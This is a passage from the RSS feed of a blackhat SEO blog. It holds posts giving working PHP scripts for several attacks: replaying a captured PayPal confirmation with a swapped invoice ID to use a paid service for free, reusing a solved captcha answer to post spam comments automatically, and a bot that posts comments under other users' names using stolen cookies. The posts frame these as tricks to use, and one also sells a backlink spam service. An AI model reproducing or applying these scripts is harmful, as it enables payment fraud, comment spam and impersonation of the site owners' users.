<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Cookie: &quot;</span> . <span class="re0">$cookie</span> . <span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/fwrite"><span class="kw3">fwrite</span></a><span class="br0">&#40;</span><span class="re0">$fp</span>, <span class="re0">$salida</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/feof"><span class="kw3">feof</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$d</span> = <a href="http://www.php.net/fgets"><span class="kw3">fgets</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span><span class="co1">//end while</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span><span class="co1">//end else</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/fclose"><span class="kw3">fclose</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
</div>
<p>Now the bot will send a comment under the user&#8217;s name. Ofcourse, this will use the same IP address for all the users you stole their cookie from. If you want to avoid this, mimic the behaviour in ajax.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhatfun.com/?feed=rss2&amp;p=23</wfw:commentRss>
		</item>
		<item>
		<title>seoBooster will boost your rankings</title>
		<link>http://www.blackhatfun.com/?p=12</link>
		<comments>http://www.blackhatfun.com/?p=12#comments</comments>
		<pubDate>Sun, 27 Jul 2008 17:45:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Scripts]]></category>

		<category><![CDATA[bookmarking]]></category>

		<category><![CDATA[seo]]></category>

		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.blackhatfun.com/?p=12</guid>
		<description><![CDATA[I decided to put a script online which I use to promote my websites. This script will get a new site indexed in google in 2 hours. It generates about 50 backlinks (all whitehat) from various social bookmarking sites, pliggs (digg clones), directories, &#8230;
It will also submit your site and keywords to SQUIRT and SQUIRT2 [...]]]></description>
			<content:encoded><![CDATA[<p>I decided to put a script online which I use to promote my websites. This script will get a new site indexed in google in 2 hours. It generates about <strong style="font-size:19px">50 backlinks (all whitehat)</strong> from various social bookmarking sites, pliggs (digg clones), directories, &#8230;</p>
<p>It will also submit your site and keywords to <strong>SQUIRT</strong> and <strong>SQUIRT2</strong> which is a seo tool to promote your sites. SQUIRT will submit your site to various social bookmarking sites, directories, a <strong>dedicated blog network</strong> and more&#8230; You can read more about SQUIRT <a href="http://squirt.robstool.com/" target="_blank">here</a>.</p>
<p>This tool will submit your site to (<strong>19 bookmarking sites</strong>):</p>
<ul>
<li>ClipClip</li>
<li>Furl</li>
<li>Del.icio.us</li>
<li>SearchLes</li>
<li>BlinkList</li>
<li>Spurl</li>
<li>Simpy</li>
<li>ThingsIWant</li>
<li>SpotBack</li>
<li>Faves</li>
<li>BuddyMarks</li>
<li>Mister-Wong</li>
<li>FyberSearch</li>
<li>and some more minor bookmarking sites</li>
</ul>
<p>It will ping your feed to pingomatic and submit it to rss aggregators.</p>
<p>It will generate a backlink on <strong>55 different popular pligg websites</strong> (all different C class IPs), most with pagerank.</p>
<p>So on top of all the advantages that SQUIRT and the new SQUIRT2 gives you, you get additional benefits by all the extra features I added in my script.</p>
<p>You can use this script for <strong style="font-size:16px;color:#009d07">$7 / url</strong> which is very cheap considering there are tons of services on digitalpoint asking a lot more for less.</p>
<table border="0">
<tbody>
<tr>
<td>URL:</td>
<td>
<input disabled name="url" type="text" /></td>
</tr>
<tr>
<td>Feed:</td>
<td>
<input disabled name="feed" type="text" /></td>
</tr>
<tr>
<td>Tags:</td>
<td>
<input disabled name="tags" type="text" /></td>
</tr>
<tr>
<td>Cat:</td>
<td>
<input disabled name="cat" type="text" /></td>
</tr>
<tr>
<td>Description:</td>
<td><textarea disabled cols="30" rows="4" name="description"></textarea></td>
</tr>
<tr>
<td>Title:</td>
<td>
<input disabled name="title" type="text" /></td>
</tr>
<tr>
<td></td>
<td>
<input name="go" disabled type="submit" value="go" /></td>
</tr>
</tbody>
</table>
<p>Take advantage of this script now:</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_buynow_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1"></p>
<input type="hidden" name="encrypted" value="-----BEGIN PKCS7-----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-----END PKCS7-----">
</form>
<p>This will redirect to a page after payment where you can enter your URL and keywords. Enjoy the backlinks!</p>
<p>Multiple domains? Contact me or add a comment for a discount.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhatfun.com/?feed=rss2&amp;p=12</wfw:commentRss>
		</item>
		<item>
		<title>Re-use paid service</title>
		<link>http://www.blackhatfun.com/?p=6</link>
		<comments>http://www.blackhatfun.com/?p=6#comments</comments>
		<pubDate>Sun, 27 Jul 2008 17:33:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Tricks]]></category>

		<category><![CDATA[fsock]]></category>

		<category><![CDATA[header]]></category>

		<category><![CDATA[paypal]]></category>

		<guid isPermaLink="false">http://www.blackhatfun.com/?p=6</guid>
		<description><![CDATA[Programmers are lazy. Especially when it comes to protecting their program. Yesterday I came across a nice example of laziness.
Let&#8217;s say you buy an online service somewhere through paypal. Like for example a site which will submit your article to hundreds of other websites. But you have to pay each time you submit a new [...]]]></description>
			<content:encoded><![CDATA[<p>Programmers are lazy. Especially when it comes to protecting their program. Yesterday I came across a nice example of laziness.</p>
<p>Let&#8217;s say you buy an online service somewhere through paypal. Like for example a site which will submit your article to hundreds of other websites. But you have to pay each time you submit a new article.</p>
<p>How can you bypass this? Well first, you&#8217;ll have to pay for 1 article just to see how the system works and verifies purchases. So what I did was input my article in the form, pay with paypal and see how my article was being published on all the other websites.</p>
<p>In the background I had been logging all headers and responses with Live Http Headers. After I submitted the form, I was being redirected to a file called paypal.php which saves the article and redirects to paypal. In the post redirect to paypal the owner of the site naturally sends along an ID to the saved article so that when I paid it will know what my article is.</p>
<p>So I paid and was redirected to a page confirming my payment (/cgi-bin/paid.pl) with the following post parameters sent from paypal to the confirmation page:</p>
<div class="codesnip-container" >txn_type=web_accept&amp;payment_date=11%3A09%3A21+Jul+26%2C+2008+PDT&amp;last_name=John&amp;residence_country=US&amp;item_name=Whatever&amp;payment_gross=10.00&amp;mc_currency=USD&amp;business=&amp;payment_type=instant&amp;payer_status=verified&amp;verify_sign=KiPd9Bdvkeyf7FQfdbScxo4dgo3pxccAEgZO5zWesa23-6fdf-cfsRndvPLzSvxc6Jds903dfDF&amp;payer_email=&amp;tax=0.00&amp;txn_id=&amp;first_name=&amp;receiver_email=&amp;quantity=1&amp;payer_id=&amp;invoice=[INVOICE ID]receiver_id=&amp;item_number=&amp;payment_status=Completed&amp;mc_fee=1.17&amp;payment_fee=1.17&amp;shipping=0.00&amp;mc_gross=10&amp;custom=&amp;charset=&amp;notify_version=2.4&amp;merchant_return_link=Click+Here+to+Continue</div>
<p>So naturally, I captured this and tried the following:</p>
<div class="codesnip-container" >
<div class="codesnip" style="font-family: monospace;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$fp</span> = <a href="http://www.php.net/fsockopen"><span class="kw3">fsockopen</span></a><span class="br0">&#40;</span><span class="st0">&quot;www.target.com&quot;</span>, <span class="nu0">80</span>, <span class="re0">$errno</span>, <span class="re0">$errstr</span>, <span class="nu0">30</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span>!<span class="re0">$fp</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;$errstr ($errno)&amp;lt;br /&amp;gt;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$postdata</span> = <span class="st0">&#8216;txn_type=web_accept&amp;amp;payment_date=11%3A09%3A21+Jul+26%2C+2008+PDT&amp;amp;last_name=John&amp;amp;residence_country=US&amp;amp;item_name=Whatever&amp;amp;payment_gross=10.00&amp;amp;mc_currency=USD&amp;amp;business=&amp;amp;payment_type=instant&amp;amp;payer_status=verified&amp;amp;verify_sign=KiPd9Bdvkeyf7FQfdbScxo4dgo3pxccAEgZO5zWesa23-6fdf-cfsRndvPLzSvxc6Jds903dfDF&amp;amp;payer_email=&amp;amp;tax=0.00&amp;amp;txn_id=&amp;amp;first_name=&amp;amp;receiver_email=&amp;amp;quantity=1&amp;amp;payer_id=&amp;amp;invoice=[INVOICE ID]receiver_id=&amp;amp;item_number=&amp;amp;payment_status=Completed&amp;amp;mc_fee=1.17&amp;amp;payment_fee=1.17&amp;amp;shipping=0.00&amp;amp;mc_gross=10&amp;amp;custom=&amp;amp;charset=&amp;amp;notify_version=2.4&amp;amp;merchant_return_link=Click+Here+to+Continue&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span> = <span class="st0">&quot;POST /cgi-bin/paid.pl HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Host: www.target.com<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Content-Type: application/x-www-form-urlencoded<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Content-Length: &quot;</span>.<a href="http://www.php.net/strlen"><span class="kw3">strlen</span></a><span class="br0">&#40;</span><span class="re0">$postdata</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="re0">$postdata</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/fwrite"><span class="kw3">fwrite</span></a><span class="br0">&#40;</span><span class="re0">$fp</span>, <span class="re0">$salida</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/feof"><span class="kw3">feof</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$d</span> = <a href="http://www.php.net/fgets"><span class="kw3">fgets</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="re0">$d</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/fclose"><span class="kw3">fclose</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
</div>
<p>Which the paid.pl gladly accepted and started with distributing my article.</p>
<p>So after that I tried inputting another article in the form, get redirected to paypal. I did not pay, but instead captured the Invoice ID and changed it in the postdata in the code below.</p>
<p>The mistake that paid.pl made was not using the paypal API to verify if the payment was in fact completed. Instead, it simply looked at one of the parameters, presumable payment_status and just assumed the payment was completed.</p>
<p>So modifying parameters and then sending them to a payment verification system might sometimes work if the programmer was too lazy to use the paypal API.</p>
<p>Ofcourse you could use FireFox&#8217;s Tamper data as well to do this kind of stuff.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhatfun.com/?feed=rss2&amp;p=6</wfw:commentRss>
		</item>
		<item>
		<title>Defeating Captcha&#8217;s</title>
		<link>http://www.blackhatfun.com/?p=3</link>
		<comments>http://www.blackhatfun.com/?p=3#comments</comments>
		<pubDate>Wed, 23 Jul 2008 18:04:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Tricks]]></category>

		<category><![CDATA[blackhat]]></category>

		<category><![CDATA[captcha]]></category>

		<category><![CDATA[fsockopen]]></category>

		<category><![CDATA[php]]></category>

		<category><![CDATA[seo]]></category>

		<guid isPermaLink="false">http://www.blackhatfun.com/?p=3</guid>
		<description><![CDATA[This is my first post on this brand new website focussing on programming tricks.
This one is for all you blackhat seo people out there trying to beat captcha&#8217;s with gocr or your own code.
The first thing you have to realise is that beating captcha&#8217;s with neaural networks is possible, but it&#8217;s very hard.
So if there&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>This is my first post on this brand new website focussing on programming tricks.</p>
<p>This one is for all you blackhat seo people out there trying to beat captcha&#8217;s with <a href="http://jocr.sourceforge.net/" target="_blank">gocr</a> or your own code.</p>
<p>The first thing you have to realise is that beating captcha&#8217;s with neaural networks is possible, but it&#8217;s very hard.<br />
So if there&#8217;s an easier way out, then we&#8217;d all be happy to follow that route, right?</p>
<p>Let&#8217;s think about how a captcha system works. You create a random string, use GD or ImageMagick to put the string in an image. For the system to know if the entered code corresponds to the right string in the image, it needs to know the answer for every generated captcha.</p>
<p>We can assume that most captcha systems link the filename of the captcha image to the right answer in a database, like so:</p>
<p>Table answers<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Generated image |  Answer<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>captcha1.jpg  | DOF93fF</p>
<p>captcha2.jpg  | lf3FM9</p>
<p>Once a person/bot enters the text in the textfield, the system will check if the input corresponds to the right answer. If the input is the same as the answer, you can pass. After that the system SHOULD remove/deactivate the row because the right answer was given to the question.</p>
<p>This is where <strong>a lot of systems</strong> go wrong. They keep the row in the database, they do not deactivate or remove this row. What are the consequences?</p>
<p>Let&#8217;s say I want to post a comment on a blog like this with php:</p>
<div class="codesnip-container" >
<div class="codesnip" style="font-family: monospace;">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> comment<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$fp</span> = <a href="http://www.php.net/fsockopen"><span class="kw3">fsockopen</span></a><span class="br0">&#40;</span><span class="re0">$domain</span>, <span class="nu0">80</span>, <span class="re0">$errno</span>, <span class="re0">$errstr</span>, <span class="nu0">30</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span>!<span class="re0">$fp</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;$errstr ($errno)</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$postdata</span> = <span class="st0">&quot;comment_ID=0&amp;amp;comment_level=&amp;amp;comment_post_ID=348&amp;amp;redirect_to=&amp;amp;author=poster&amp;amp;email=fakemail@mail.com&amp;amp;url=&amp;amp;comment=&quot;</span> . <a href="http://www.php.net/urlencode"><span class="kw3">urlencode</span></a><span class="br0">&#40;</span><span class="st0">&quot;drop your link here&quot;</span><span class="br0">&#41;</span> . <span class="st0">&quot;&amp;amp;comment_autobr=1&amp;amp;comment_cookies=1&amp;amp;capcode=ZUTEoo&amp;amp;cid=413&amp;amp;submit=Send+comment&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span> = <span class="st0">&quot;POST /htsrv/comment_post.php HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Host: &quot;</span> . <span class="re0">$domain</span> . <span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Content-Type: application/x-www-form-urlencoded<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Content-Length: &quot;</span>.<a href="http://www.php.net/strlen"><span class="kw3">strlen</span></a><span class="br0">&#40;</span><span class="re0">$postdata</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Referer: http://&quot;</span> . <span class="re0">$domain</span> . <span class="re0">$rest</span> . <span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="re0">$postdata</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/fwrite"><span class="kw3">fwrite</span></a><span class="br0">&#40;</span><span class="re0">$fp</span>, <span class="re0">$salida</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/feof"><span class="kw3">feof</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$d</span> = <a href="http://www.php.net/fgets"><span class="kw3">fgets</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="re0">$d</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/fclose"><span class="kw3">fclose</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
</div>
<p>The headers I got by making a most through firefox and capturing them with <a href="http://livehttpheaders.mozdev.org/" target="_blank">Live HTTP Headers</a>.<br />
As you can see, the captcha details are included in the post parameters:</p>
<div class="codesnip-container" >capcode=ZUTEoo&amp;cid=413</div>
<p>The cid is most likely the number of the row in the database, this way the system keeps track of which captcha is displayed. The capcode is the correct answer I entered, so this comment will succeed.</p>
<p>Since this is an example of a bad captcha system, it will ofcourse not remove/deactivate the row in the database. Which means I can trick the system into thinking I got the same captcha again (while obviously I got another captcha) and use the same answer I provided earlier. I simply change all the other post parameters but keep using the same captcha parameters:</p>
<div class="codesnip-container" >
<div class="codesnip" style="font-family: monospace;">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> comment<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$fp</span> = <a href="http://www.php.net/fsockopen"><span class="kw3">fsockopen</span></a><span class="br0">&#40;</span><span class="re0">$domain</span>, <span class="nu0">80</span>, <span class="re0">$errno</span>, <span class="re0">$errstr</span>, <span class="nu0">30</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span>!<span class="re0">$fp</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;$errstr ($errno)</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$postdata</span> = <span class="st0">&quot;comment_ID=0&amp;amp;comment_level=&amp;amp;comment_post_ID=455&amp;amp;redirect_to=&amp;amp;author=poster&amp;amp;email=fakemail@mail.com&amp;amp;url=&amp;amp;comment=&quot;</span> . <a href="http://www.php.net/urlencode"><span class="kw3">urlencode</span></a><span class="br0">&#40;</span><span class="st0">&quot;drop your link here&quot;</span><span class="br0">&#41;</span> . <span class="st0">&quot;&amp;amp;comment_autobr=1&amp;amp;comment_cookies=1&amp;amp;capcode=ZUTEoo&amp;amp;cid=413&amp;amp;submit=Send+comment&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span> = <span class="st0">&quot;POST /htsrv/comment_post.php HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Host: &quot;</span> . <span class="re0">$domain</span> . <span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Content-Type: application/x-www-form-urlencoded<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Content-Length: &quot;</span>.<a href="http://www.php.net/strlen"><span class="kw3">strlen</span></a><span class="br0">&#40;</span><span class="re0">$postdata</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Referer: http://&quot;</span> . <span class="re0">$domain</span> . <span class="re0">$rest</span> . <span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="re0">$postdata</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/fwrite"><span class="kw3">fwrite</span></a><span class="br0">&#40;</span><span class="re0">$fp</span>, <span class="re0">$salida</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
